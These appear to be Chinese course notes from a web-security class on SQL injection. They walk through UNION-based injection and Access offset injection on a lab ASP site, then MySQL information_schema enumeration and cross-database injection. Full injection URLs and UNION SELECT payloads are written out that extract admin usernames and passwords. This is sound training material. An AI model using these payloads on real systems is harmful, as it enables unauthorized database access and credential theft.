小迪安全24WEB 攻防-通用漏洞&SQL 注入&MYSQL 跨库&ACCESS 偏移

#知识点:

1、脚本代码与数据库前置知识

2Access 数据库注入-简易&偏移

3MYSQL 数据库注入-简易&权限跨库

#前置知识:

-SQL 注入漏洞产生原理分析

-SQL 注入漏洞危害利用分析

-脚本代码与数据库操作流程

-数据库名,表名,列名,数据

-数据库类型,数据库用户,用户权限

SQL:数据的操作——SQL注入;产生在数据库上的注入

小迪安全24WEB 攻防-通用漏洞&SQL 注入&MYSQL 跨库&ACCESS 偏移_第1张图片

SQL注入:传参id变量,通过$sql变量来进行指定的sql数据库查询,从而执行恶意的SQL语句,实现查询其他数据内容(敏感信息)

危害:

数据库中的操作能被其利用和破坏——增删改查——需符合SQL语句的逻辑格式

产生原理:脚本代码和数据库的相关操作

搭建一个网站

小迪安全24WEB 攻防-通用漏洞&SQL 注入&MYSQL 跨库&ACCESS 偏移_第2张图片

漏洞的产生:特定函数和可控变量

最直接的一种通过url是否存在参数:get

  存在一个参数和多个参数(对每一个参数进行测试)

小迪安全24WEB 攻防-通用漏洞&SQL 注入&MYSQL 跨库&ACCESS 偏移_第3张图片

通过获取网络数据包:Post

小迪安全24WEB 攻防-通用漏洞&SQL 注入&MYSQL 跨库&ACCESS 偏移_第4张图片

注入:

测试注入点:

1.猜测数据库类型

2.根据类型选择思路

ACCESS:——独立存在

数据库名

       表名

         列名

           数据

小迪安全24WEB 攻防-通用漏洞&SQL 注入&MYSQL 跨库&ACCESS 偏移_第5张图片

对get页面进行白盒分析

根据对应的url找到对应的文件位置,查看源码

小迪安全24WEB 攻防-通用漏洞&SQL 注入&MYSQL 跨库&ACCESS 偏移_第6张图片

得知用的是一个product的表

小迪安全24WEB 攻防-通用漏洞&SQL 注入&MYSQL 跨库&ACCESS 偏移_第7张图片

那么这时,我们需要查admin的表,用联合查询

http://192.168.162.143:85/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20from%20admin

注:这里的联合查询是有限制的,就是union前后查询的数据必须保持同列

小迪安全24WEB 攻防-通用漏洞&SQL 注入&MYSQL 跨库&ACCESS 偏移_第8张图片

得知3和15作为网页的回显位,因此3和15替换为对应的列名(字典猜解)

http://192.168.162.143:85/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22%20from%20admin

如果表名知道,但列名不知道——偏移注入:

**原理:**借用数据库的自连接查询(inner join)让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示。

**用处:**access偏移注入是解决一些注入不出来列表的时候,同时要求支持union select,列名足够多,需要知道表名。

判断表内存在的字段个数:

http://192.168.162.143:85/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,*%20from%20admin——错误

直到

http://192.168.162.143:85/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,*%20from%20admin——正确

说明了admin表下有6个字段

每做一次偏移,就意味着做了一整列,所以需要减6

一级偏移语句:

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)

二级偏移语句:

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join a)

Mysql:统一管理

最高数据用户=root用户

数据库名A=网站A——》数据库用户C

       表名

         列名

           数据

数据库名B=网站B——》数据库用户C

数据库名C=网站C——》数据库用户C

攻击思路:

  1. 非root注入攻击:常规类的猜解
  2. Root用户注入攻击:文件读写操作,跨库查询注入...

判断root和非root:

黑盒:采用user()获取当前用户权限

白盒:看代码,看连接用户,配置文件中

小迪安全24WEB 攻防-通用漏洞&SQL 注入&MYSQL 跨库&ACCESS 偏移_第9张图片

Mysql5.0以上的版本:自带一个information_schema(存储数据库下的数据库名、列名、表名等)

获取相关数据:

  1. 数据库版本:查看是否支持使用information_shcema查询——version()
  2. 数据库用户:查看用户是否是Root类型注入攻击——user()
  3. 当前操作系统:是否支持大小写或文件路径——@@version_compile_os
  4. 数据库名字:为后期猜解指定表名——databases()

一、猜测数据

获取 syguestbook 数据库下面的表名信息:

UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where

table_schema='syguestbook'

获取表名 sy_adminuser 的列名信息:UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns

where table_name='sy_adminuser' and table_schema='syguestbook'

获取指定数据:

UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser

  • 跨库注入

实现当前网站跨库查询其他网站——原理:因为是root用户会管理到所有的网站的数据库

获取当前 mysql 下的所有数据库名

UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata

获取数据库名 xhcms 下的表名信息

UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where

table_schema='xhcms'

获取数据库名 xhcms 下的表 manage 下的列名信息:

UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns

where table_name='manage' and table_schema='xhcms'

获取指定数据:

UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage

你可能感兴趣的:(安全,sql,mysql)